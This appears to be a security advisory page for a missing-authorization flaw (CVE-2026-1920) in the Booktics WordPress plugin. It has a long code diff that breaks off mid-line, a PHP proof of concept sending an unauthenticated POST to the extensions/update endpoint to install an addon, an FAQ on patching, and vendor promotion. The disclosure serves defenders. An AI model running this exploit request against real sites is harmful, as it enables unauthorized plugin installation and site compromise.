+ if ( defined( 'WP_DEBUG_LOG' ) && WP_DEBUG_LOG ) {
+ error_log( 'FluentCRM Error: ' . $e->getMessage() ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
+ }
+ }
+ }
+
+ private function send_webhook( $url, $data ) {
+ $response = wp_remote_post(
+ $url,
+ array(
+ 'body' => wp_json_encode( $data ),
+ 'headers' => array(
+ 'Content-Type' => 'application/json',
+ ),
+ 'timeout' => 15,
+ )
+ );
+
+ if ( is_wp_error( $response ) ) {
+ if ( defined( 'WP_DEBUG_LOG' ) && WP_DEBUG_LOG ) {
+ error_log( 'FluentCRM Webhook Error: ' . $response->get_error_message() ); // phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
+ }
+ }
+ }
+}
--- a/booktics/core/module/google-calendar/Controller/calendar-auth-controller.php
+++ b/booktics/core/module/google-calendar/Controller/calendar-auth-controller.php
@@ -1,624 +1,624 @@
-<?php
-/**
- * Calendar Auth Controller
- *
- * @package BookticsGoogleCalendarGoogleController
- */
-
-namespace BookticsModuleGoogle_CalendarController;
-
-if ( ! defined( 'ABSPATH' ) ) exit;
-
-use BookticsAbstractsBase_Rest_Controller;
-use Exception;
-use WP_REST_Request;
-use WP_REST_Server;
-use WP_Error;
-use WP_HTTP_Response;
-
-/**
- * Class Calendar_Auth_Controller
- */
-class Calendar_Auth_Controller extends Base_Rest_Controller {
-
- /**
- * The namespace of this controller's route.
- *
- * @var string
- */
- protected $namespace = 'booktics/v1';
-
- /**
- * The base of this controller's route.
- *
- * @var string
- */
- protected $rest_base = 'settings/google';
-
- /**
- * User meta key for storing Google tokens
- */
- const BGC_USER_META_TOKEN = 'booktics_google_auth_token';
-
- /**
- * Google OAuth configuration.
- *
- * @var array
- */
- private $oauth_config;
-
- /**
- * Initialize the class and set up hooks.
- */
- public function __construct() {
- $this->oauth_config = $this->get_oauth_config();
- add_action( 'template_redirect', array( $this, 'handle_google_auth_callback' ) );
-
- // In your addon's main file or a dedicated class
- add_filter(
- 'booktics_team_member_data',
- function ( $team_member, $team_member_id ) {
- $team_member['google_calendar_connected'] = $this->team_member_is_connected( $team_member_id );
-
- return $team_member;
- },
- 10,
- 2
- );
- }
-
- /**
- * Get OAuth configuration for Google API
- *
- * @return array
- */
- private function get_oauth_config() {
- return array(
- 'client_id' => booktics_get_option( 'google_client_id' ),
- 'client_secret' => booktics_get_option( 'google_secret_key' ),
- 'redirect_uri' => booktics_get_option( 'google_redirect_url' ),
- 'scope' => 'https://www.googleapis.com/auth/calendar',
- 'access_type' => 'offline',
- 'prompt' => 'consent',
- );
- }
-
- /**
- * Get valid access token for user, refreshing if necessary
- *
- * @param int $user_id
- * @return string|false Access token or false on failure
- */
- private function get_valid_access_token( $user_id = null ) {
- if ( null === $user_id ) {
- $user_id = get_current_user_id();
- }
-
- $token = get_user_meta( $user_id, self::BGC_USER_META_TOKEN, true );
- if ( ! $token ) {
- return false;
- }
-
- // Handle both string (old format) and array (new format) tokens
- if ( is_string( $token ) ) {
- $token = json_decode( $token, true );
- }
-
- if ( ! is_array( $token ) || empty( $token['access_token'] ) ) {
- return false;
- }
-
- // Check if token needs refreshing
- if ( $this->is_token_expired( $token ) ) {
- $refreshed_token = $this->refresh_access_token( $token, $user_id );
- if ( ! $refreshed_token ) {
- delete_user_meta( $user_id, self::BGC_USER_META_TOKEN );
- return false;
- }
- return $refreshed_token['access_token'];
- }
-
- return $token['access_token'];
- }
-
- /**
- * Check if token is expired
- *
- * @param array $token
- * @return bool
- */
- private function is_token_expired( $token ) {
- if ( empty( $token['expires_at'] ) ) {
- return true;
- }
-
- $expires_at = is_numeric( $token['expires_at'] ) ? $token['expires_at'] : strtotime( $token['expires_at'] );
- $buffer_time = 300; // 5 minutes buffer
-
- return ( time() + $buffer_time ) >= $expires_at;
- }
-
- /**
- * Refresh access token using refresh token
- *
- * @param array $token
- * @param int $user_id
- * @return array|false New token array or false on failure
- */
- private function refresh_access_token( $token, $user_id ) {
- if ( empty( $token['refresh_token'] ) ) {
- return false;
- }
-
- $response = wp_remote_post(
- 'https://oauth2.googleapis.com/token',
- array(
- 'body' => array(
- 'client_id' => $this->oauth_config['client_id'],
- 'client_secret' => $this->oauth_config['client_secret'],
- 'refresh_token' => $token['refresh_token'],
- 'grant_type' => 'refresh_token',
- ),
- )
- );
-
- if ( is_wp_error( $response ) ) {
- return false;
- }
-
- $body = wp_remote_retrieve_body( $response );
- $new_token = json_decode( $body, true );
-
- if ( isset( $new_token['error'] ) ) {
- return false;
- }
-
- // Merge with existing token to preserve refresh_token
- $refreshed_token = array_merge( $token, $new_token );
-
- // Set expiry time
- if ( isset( $refreshed_token['expires_in'] ) ) {
- $refreshed_token['expires_at'] = time() + $refreshed_token['expires_in'];
- }
-
- // Save the refreshed token
- update_user_meta( $user_id, self::BGC_USER_META_TOKEN, $refreshed_token );
-
- return $refreshed_token;
- }
-
- /**
- * Handle direct OAuth callback from Google.
- */
- public function handle_google_auth_callback() {
- // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Google OAuth callback doesnt require nonce
- if ( ! isset( $_GET['code'] ) ) {
- return;
- }
-
- // phpcs:ignore WordPress.Security.NonceVerification.Recommended -- Google OAuth callback doesnt require nonce
- if ( isset( $_GET['state'] ) ) {
- // phpcs:ignore WordPress.Security.NonceVerification.Recommended
- $decoded_state = base64_decode( sanitize_text_field( wp_unslash( $_GET['state'] ) ) );
- $state_data = json_decode( $decoded_state, true );
- $team_member_id = isset( $state_data['team_member_id'] ) ? $state_data['team_member_id'] : null;
- }
-
- // phpcs:ignore WordPress.Security.NonceVerification.Recommended
- $code = sanitize_text_field( wp_unslash( $_GET['code'] ) );
-
- if ( ! isset( $team_member_id ) ) {
- $team_member_id = get_current_user_id();
- }
-
- try {
- $tokens = $this->exchange_code_for_tokens( $code );
-
- if ( ! $tokens || isset( $tokens['error'] ) ) {
- throw new Exception( $tokens['error_description'] ?? 'Authentication failed' );
- }
-
- // Set expiry time
- if ( isset( $tokens['expires_in'] ) ) {
- $tokens['expires_at'] = time() + $tokens['expires_in'];
- }
-
- update_user_meta( $team_member_id, self::BGC_USER_META_TOKEN, $tokens );
-
- if ( current_user_can( 'manage_options' ) ) {
- booktics_update_option( 'google_calendar_connected', 1 );
- }
-
- $redirect_url = isset( $team_member_id ) && $team_member_id != get_current_user_id() ? $this->get_redirect_url_for_team_member( $team_member_id ) : $this->get_redirect_url_for_admin();
-
- wp_safe_redirect( $redirect_url );
- exit;
-
- } catch ( Exception $e ) {
- $redirect_url = isset( $team_member_id ) ? $this->get_redirect_url_for_team_member( $team_member_id ) : $this->get_redirect_url_for_admin();
-
- wp_safe_redirect( $redirect_url );
- exit;
- }
- }
-
- /**
- * Exchange authorization code for access tokens
- *
- * @param string $code
- * @return array|false
- */
- private function exchange_code_for_tokens( $code ) {
- $response = wp_remote_post(
- 'https://oauth2.googleapis.com/token',
- array(
- 'body' => array(
- 'client_id' => $this->oauth_config['client_id'],
- 'client_secret' => $this->oauth_config['client_secret'],
- 'code' => $code,
- 'grant_type' => 'authorization_code',
- 'redirect_uri' => $this->oauth_config['redirect_uri'],
- ),
- )
- );
-
- if ( is_wp_error( $response ) ) {
- return false;
- }
-
- $body = wp_remote_retrieve_body( $response );
- return json_decode( $body, true );
- }
-
- private function get_redirect_url_for_admin() {
- return home_url( '/wp-admin/admin.php?page=booktics#/settings?tab=integration' );
- }
-
- private function get_redirect_url_for_team_member( $team_member_id ) {
- return home_url( "/wp-admin/admin.php?page=booktics#/team-members/update/{$team_member_id}?tab=integration" );
- }
-
- /**
- * Register the routes for the controller.
- */
- public function register_routes(): void {
- // Get Google auth URL
- register_rest_route(
- $this->namespace,
- $this->rest_base . '/connect',
- array(
- array(
- 'methods' => WP_REST_Server::READABLE,
- 'callback' => array( $this, 'get_auth_url' ),
- 'permission_callback' => array( $this, 'permission_check' ),
- 'args' => array(
- 'team_member_id' => array(
- 'description' => __( 'ID of the team member to connect', 'booktics' ),
- 'type' => 'integer',
- 'required' => false,
- ),
- ),
- ),
- )
- );
-
- // Revoke authentication
- register_rest_route(
- $this->namespace,
- $this->rest_base . '/revoke',
- array(
- array(
- 'methods' => WP_REST_Server::DELETABLE,
- 'callback' => array( $this, 'revoke_auth' ),
- 'permission_callback' => array( $this, 'permission_check' ),
- 'args' => array(
- 'team_member_id' => array(
- 'description' => __( 'ID of the team member to disconnect', 'booktics' ),
- 'type' => 'integer',
- 'required' => false,
- ),
- ),
- ),
- )
- );
-
- // Google connect for admin
- register_rest_route(
- $this->namespace,
- $this->rest_base . '/admin/connect',
- array(
- array(
- 'methods' => WP_REST_Server::CREATABLE,
- 'callback' => array( $this, 'get_admin_auth_url' ),
- 'permission_callback' => function () {
- return current_user_can( 'manage_options' );
- },
- ),
- )
- );
-
- // Check authentication status
- register_rest_route(
- $this->namespace,
- $this->rest_base . '/check',
- array(
- array(
- 'methods' => WP_REST_Server::READABLE,
- 'callback' => array( $this, 'check_auth' ),
- 'permission_callback' => array( $this, 'permission_check' ),
- 'args' => array(
- 'team_member_id' => array(
- 'description' => __( 'ID of the team member to check', 'booktics' ),
- 'type' => 'integer',
- 'required' => false,
- ),
- ),
- ),
- )
- );
- }
-
- /**
- * Check if a given request has permission.
- *
- * @return bool|WP_Error
- */
- public function permission_check( $request ) {
- if ( ! is_user_logged_in() ) {
- return $this->error(
- __( 'You must be logged in to access this endpoint.', 'booktics' ),
- 401,
- 'permission_error'
- );
- }
-
- // Get team member ID from request
- $team_member_id = $this->get_team_member_id( $request );
-
- // If no team member ID specified, allow if user can manage options
- if ( ! $team_member_id ) {
- return current_user_can( 'manage_options' );
- }
-
- // If team member ID is specified, check if current user can edit that user
- if ( get_current_user_id() !== $team_member_id && ! current_user_can( 'edit_user', $team_member_id ) ) {
- return $this->error(
- __( 'You do not have permission to access this user's Google Calendar settings.', 'booktics' ),
- 403,
- 'permission_error'
- );
- }
-
- return true;
- }
-
- public function get_admin_auth_url( $request ) {
- $data = json_decode( $request->get_body(), true );
- $google_client_id = $data['google_client_id'];
- $google_client_secret = $data['google_secret_key'];
- $block_booking_during_google_events = isset( $data['block_booking_during_google_events'] ) ? $data['block_booking_during_google_events'] : false;
-
- // save credentials in options
- booktics_update_option( 'google_client_id', $google_client_id );
- booktics_update_option( 'google_secret_key', $google_client_secret );
- booktics_update_option( 'block_booking_during_google_events', $block_booking_during_google_events );
-
- // Update OAuth config
- $this->oauth_config['client_id'] = $google_client_id;
- $this->oauth_config['client_secret'] = $google_client_secret;
-
- $auth_url = $this->create_auth_url();
-
- return $this->response(
- array( 'auth_url' => $auth_url ),
- __( 'Google authentication URL generated successfully.', 'booktics' )
- );
- }
-
- /**
- * Get Google OAuth URL.
- *
- * @param WP_REST_Request $request
- * @return WP_Error|WP_HTTP_Response
- */
- public function get_auth_url( $request ) {
- try {
- // Get any parameters you want to pass through
- $state_params = array(
- 'team_member_id' => absint( $request->get_param( 'team_member_id' ) ),
- );
-
- // Convert to JSON and base64 encode to make it URL-safe
- $state = base64_encode( wp_json_encode( $state_params ) );
-
- $auth_url = $this->create_auth_url( $state );
-
- if ( empty( $auth_url ) ) {
- return $this->error(
- __( 'Failed to generate Google authentication URL.', 'booktics' ),
- 500,
- 'auth_url_error'
- );
- }
-
- return $this->response(
- array( 'auth_url' => $auth_url ),
- __( 'Google authentication URL generated successfully.', 'booktics' )
- );
-
- } catch ( Exception $e ) {
- return $this->error(
- /* translators: %s: Error message */
- sprintf( __( 'Failed to generate Google auth URL: %s', 'booktics' ), $e->getMessage() ),
- 500,
- 'auth_error'
- );
- }
- }
-
- /**
- * Create OAuth authorization URL
- *
- * @param string $state Optional state parameter
- * @return string
- */
- private function create_auth_url( $state = '' ) {
- $params = array(
- 'client_id' => $this->oauth_config['client_id'],
- 'redirect_uri' => $this->oauth_config['redirect_uri'],
- 'scope' => $this->oauth_config['scope'],
- 'response_type' => 'code',
- 'access_type' => $this->oauth_config['access_type'],
- 'prompt' => $this->oauth_config['prompt'],
- );
-
- if ( ! empty( $state ) ) {
- $params['state'] = $state;
- }
-
- return 'https://accounts.google.com/o/oauth2/auth?' . http_build_query( $params );
- }
-
- /**
- * Revoke Google authentication.
- *
- * @param WP_REST_Request $request
- * @return WP_Error|WP_HTTP_Response
- */
- public function revoke_auth( $request ) {
- try {
- $team_member_id = $this->get_team_member_id( $request );
-
- if ( current_user_can( 'manage_options' ) && $team_member_id == get_current_user_id() ) {
- booktics_update_option( 'google_calendar_connected', 0 );
- }
-
- // Get the token before revoking
- $token = get_user_meta( $team_member_id, self::BGC_USER_META_TOKEN, true );
-
- if ( empty( $token ) ) {
- return $this->response(
- array( 'revoked' => true ),
- __( 'Google account was not connected.', 'booktics' )
- );
- }
-
- // Handle both string (old format) and array (new format) tokens
- if ( is_string( $token ) ) {
- $token = json_decode( $token, true );
- }
-
- // Revoke the token
- if ( isset( $token['access_token'] ) ) {
- $this->revoke_token( $token['access_token'] );
- }
-
- // Delete the token
- delete_user_meta( $team_member_id, self::BGC_USER_META_TOKEN );
-
- return $this->response(
- array( 'revoked' => true ),
- __( 'Google authentication revoked successfully.', 'booktics' )
- );
-
- } catch ( Exception $e ) {
- return $this->error(
- /* translators: %s: Error message */
- sprintf( __( 'Failed to revoke Google authentication: %s', 'booktics' ), $e->getMessage() ),
- 500,
- 'revoke_error'
- );
- }
- }
-
- /**
- * Revoke access token at Google
- *
- * @param string $access_token
- * @return bool
- */
- private function revoke_token( $access_token ) {
- $response = wp_remote_post(
- 'https://oauth2.googleapis.com/revoke',
- array(
- 'body' => array(
- 'token' => $access_token,
- ),
- )
- );
-
- return ! is_wp_error( $response ) && wp_remote_retrieve_response_code( $response ) === 200;
- }
-
- /**
- * Check authentication status.
- *
- * @param WP_REST_Request $request
- * @return WP_Error|WP_HTTP_Response
- */
- public function check_auth( $request ) {
- try {
- $team_member_id = $this->get_team_member_id( $request );
- $token = get_user_meta( $team_member_id, self::BGC_USER_META_TOKEN, true );
- $is_authenticated = false;
-
- if ( $token ) {
- // Handle both string (old format) and array (new format) tokens
- if ( is_string( $token ) ) {
- $token = json_decode( $token, true );
- }
-
- if ( is_array( $token ) && isset( $token['access_token'] ) ) {
- $is_authenticated = ! $this->is_token_expired( $token );
-
- // If token is expired but we have a refresh token, try to refresh
- if ( ! $is_authenticated && isset( $token['refresh_token'] ) ) {
- $new_token = $this->refresh_access_token( $token, $team_member_id );
- if ( $new_token ) {
- $is_authenticated = true;
- }
- }
- }
- }
-
- return $this->response(
- array( 'authenticated' => $is_authenticated ),
- $is_authenticated
- ? __( 'Google account is connected.', 'booktics' )
- : __( 'Google account is not connected.', 'booktics' )
- );
-
- } catch ( Exception $e ) {
- return $this->error(
- /* translators: %s: Error message */
- sprintf( __( 'Failed to check authentication status: %s', 'booktics' ), $e->getMessage() ),
- 500,
- 'auth_check_error'
- );
- }
- }
-
- private function get_team_member_id( $request ) {
- $data = $request->get_method() === 'GET'
- ? $request->get_query_params()
- : json_decode( $request->get_body(), true );
-
- if ( isset( $data['team_member_id'] ) ) {
- return absint( $data['team_member_id'] );
- }
-
- return get_current_user_id();
- }
-
- /**
- * Check if team member is connected
- *
- * @param int $team_member_id team member id or user id
- * @return int 1 if connected, 0 if not
- */
- private function team_member_is_connected( $team_member_id ) {
- $token = get_user_meta( $team_member_id, self::BGC_USER_META_TOKEN, true );
-
- return empty( $token ) ? 0 : 1;
- }
-}
+<?php
+/**
+ * Calendar Auth Controller
+ *
+ * @package BookticsGoogleCalendarGoogleController
+ */
+
+namespace BookticsModuleGoogle_CalendarController;
+
+if ( ! defined( 'ABSPATH' ) ) exit;
+
+use BookticsAbstractsBase_Rest_Controller;
+use Exception;
+use WP_REST_Request;
+use WP_REST_Server;
+use WP_Error;
+use WP_HTTP_Response;
+
+/**
+ * Class Calendar_Auth_Controller
+ */
+class Calendar_Auth_Controller extends Base_Rest_Controller {
+
+ /**
+ * The namespace of this controller's route.
+ *
+ * @var string
+ */
+ protected $namespace = 'booktics/v1';
+
+ /**
+ * The base of this controller's route.
+ *
+ * @var string
+ */
+ protected $rest_base = 'settings/google';
+
+ /**
+ * User meta key for storing Google tokens
+ */
+ const BGC_USER_META_TOKEN = 'booktics_google_auth_token';
+
+ /**
+ * Google OAuth configuration.
+ *
+ * @var array
+ */
+ private $oauth_config;
+
+ /**
+ * Initialize the class and set up hooks.
+ */
+ public function __construct() {
+ $this->oauth_config = $this->get_oauth_config();
+ add_action( 'template_redirect', array( $this, 'handle_google_auth_callback' ) );
+
+ // In your addon's main file or a dedicated class
+ add_filter(
+ 'booktics_team_member_data',
+ function ( $team_member, $team_member_id ) {
+ $team_member['google_calendar_connected'] = $this->team_member_is_connected( $team_member_id );
+
+ return $team_member;
+ },
+ 10,
+ 2
+ );
+ }
+
+ /**
+ * Get OAuth configuration for Google API
+ *
+ * @return array
+ */
+ private function get_oauth_config() {
+ return array(
+ 'client_id' => booktics_get_option( 'google_client_id' ),
+ 'client_secret' => booktics_get_option( 'google_secret_key' ),
+ 'redirect_uri' => booktics_get_option( 'google_redirect_url' ),
+ 'scope' => 'https://www.googleapis.com/auth/calendar',
+ 'access_type' => 'offline',
+ 'prompt' => 'consent',
+ );
+ }
+
+ /**
+ * Get valid access token for user, refreshing if necessary
+ *
+ * @param int $user_id
+ * @return string|false Access token or false on failure
+ */
+ private function get_valid_access_token( $user_id = null ) {
+ if ( null === $user_id ) {
+ $user_id = get_current_user_id();
+ }
+
+ $token = get_user_meta( $user_id, self::BGC_USER_META_TOKEN, true );
+ if ( ! $token ) {
+ return false;
+ }
+
+ // Handle both string (old format) and array (new format) tokens
+ if ( is_string( $token ) ) {
+ $token = json_decode( $token, true );
+ }
+
+ if ( ! is_array( $token ) || empty( $token['access_token'] ) ) {
+ return false;
+ }
+
+ // Check if token needs refreshing
+ if ( $this->is_token_expired( $token ) ) {
+ $refreshed_token = $this->refresh_access_token( $token, $user_id );
+ if (
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1920 - Booktics <= 1.0.16 - Missing Authorization to Addon Plugin Installation
<?php
$target_url = 'http://target-site.com';
// The vulnerable REST API endpoint for installing/updating extensions
$endpoint = '/wp-json/booktics/v1/extensions/update';
// The slug of a legitimate Booktics addon plugin (e.g., 'booktics-pro')
// An attacker would need to know a valid slug from the developer's repository.
$plugin_slug = 'booktics-pro';
$data = array('slug' => $plugin_slug);
$ch = curl_init($target_url . $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
// The exploit works without any authentication cookies or headers
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
// A successful exploitation attempt might return a 200 OK with installation details,
// or a 404 if the slug is not found in the repository. A 403 after patching indicates the fix is effective.
?>
Frequently Asked Questions
What is CVE-2026-1920?
Overview of the vulnerabilityCVE-2026-1920 is a medium severity vulnerability in the Booktics WordPress plugin, specifically versions up to and including 1.0.16. It allows unauthorized users to install addon plugins due to a missing capability check in the REST API endpoint responsible for managing these installations.
How does the vulnerability work?
Mechanism of exploitationThe vulnerability exists in the ‘Extension_Controller::update_item_permissions_check’ function, which fails to verify if a user has the necessary permissions before allowing addon plugin installations. This allows unauthenticated attackers to send POST requests to the vulnerable endpoint, potentially leading to arbitrary code execution.
Who is affected by this vulnerability?
Identifying vulnerable installationsAny WordPress site using the Booktics plugin version 1.0.16 or earlier is at risk. Administrators should check their plugin version in the WordPress dashboard under the Plugins section to determine if they are affected.
How can I check if my site is vulnerable?
Steps for verificationTo verify if your site is vulnerable, check the version of the Booktics plugin installed. If it is version 1.0.16 or earlier, your site is susceptible to this vulnerability and should be updated immediately.
How can I fix CVE-2026-1920?
Updating the pluginThe vulnerability is patched in version 1.0.17 of the Booktics plugin. Administrators should update to this version or later as soon as possible to mitigate the risk of exploitation.
What if I cannot update the plugin immediately?
Mitigation strategiesIf immediate updating is not possible, consider disabling the Booktics plugin temporarily to prevent unauthorized access. Additionally, monitor your site for any suspicious activity until the plugin can be updated.
What does a CVSS score of 5.3 indicate?
Understanding the severity levelA CVSS score of 5.3 indicates a medium severity level, suggesting that while the vulnerability is not critical, it poses a significant risk that should be addressed promptly to prevent potential exploitation.
What is the practical risk of this vulnerability?
Potential consequences of exploitationExploitation of this vulnerability could allow an attacker to install malicious plugins, which may lead to data breaches, unauthorized access, or further compromise of the WordPress site. This can have serious implications for site security and user trust.
How does the proof of concept demonstrate the issue?
Example of exploitationThe proof of concept provided shows how an attacker can send a POST request to the vulnerable endpoint without authentication, specifying a plugin slug to install. This illustrates the ease with which an attacker can exploit the vulnerability to gain unauthorized access to the site.
What are addon plugins in Booktics?
Understanding the functionalityAddon plugins in Booktics extend the functionality of the main plugin, allowing users to add features or enhancements. However, unauthorized installation of these addons can introduce security risks and malicious code.
Can this vulnerability lead to privilege escalation?
Potential for increased accessYes, if exploited, this vulnerability could allow an attacker to install plugins that provide them with elevated privileges or access to sensitive data, thereby escalating their control over the WordPress site.
What should I do after updating the plugin?
Post-update actionsAfter updating the Booktics plugin, review your site’s security settings and user permissions to ensure that only authorized users have administrative capabilities. Regularly monitor your site for any unusual activity.
How Atomic Edge Works
Simple Setup. Powerful Security.
Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.
Trusted by Developers & Organizations






